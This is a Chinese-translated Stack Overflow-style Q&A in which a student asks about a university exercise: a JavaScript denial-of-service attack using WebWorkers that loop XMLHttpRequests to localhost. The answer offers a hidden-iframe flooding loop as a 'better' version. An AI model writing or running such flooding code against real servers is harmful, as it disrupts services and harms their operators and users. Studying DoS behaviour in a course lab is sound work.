【问题标题】:JavaScript DoS attack using WebWorkers使用 WebWorkers 的 JavaScript DoS 攻击
【发布时间】:2017-08-26 13:14:36
【问题描述】:

在大学里,我们做了一项“家庭作业”来尝试执行拒绝服务攻击。我决定采取与其他人不同的方式。我尝试使用 JavaScript 执行它。

问题是:

  • 这甚至可能吗?
  • 如果我在环回上执行 HttpRequest,我会看到由于 http 端口溢出导致任何网站无法访问的结果吗?
  • 有没有比我更好的代码来做到这一点?

index.html:

<script>
    for(var i = 0; i< 50; i++) {
        worker = new Worker("worker.js");
        worker.postMessage('Hello World');
    }
</script>

worker.js:

self.addEventListener('message', function(e) {
    while(1) {
            var xmlHttp = new XMLHttpRequest();
            xmlHttp.onreadystatechange = function() { 
            if (xmlHttp.readyState == 4 && xmlHttp.status == 200)
                    callback(xmlHttp.responseText);
            }
            xmlHttp.open("GET", "http://127.0.0.1", true);
            xmlHttp.send(null);
    }
}, false);

感谢您的任何意见!

【问题讨论】:

  • 我不确定,但这比远程服务器更可能导致您自己的计算机崩溃(如果您选择 localhost 以外的服务器)while(1)
  • 当您运行显示的代码时发生了什么? while(1) 的浏览器很酷吗?
  • @nnnnnn 浏览器似乎很好,因为网络工作者在幕后完成了所有工作。在开发人员工具中,您可以清楚地看到正在发送请求,但是我可以毫无问题地访问任何我想要的网站。
  • 这属于 codereview.stackexchange.com 或 security.stackexchange.com。

标签: javascript xmlhttprequest web-worker denial-of-service


【解决方案1】:

首先,如果我可以改进这段代码,我会使用 setInterval 而不是 while(1)。其次,我在这里找到了一个更简单的版本:

function _DDoS(url){
    document.body.innerHTML+='<iframe src="'+url+'" style="display:none;">   </iframe>';
}
for(;;){
 setTimeout(_DDoS("http://localhost"),10);
}

只要搜索 javascript ddos​​ 就会发现很多例子

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 2011-10-22
    • 2020-09-10
    • 2021-04-27
    • 1970-01-01
    • 2021-02-20
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多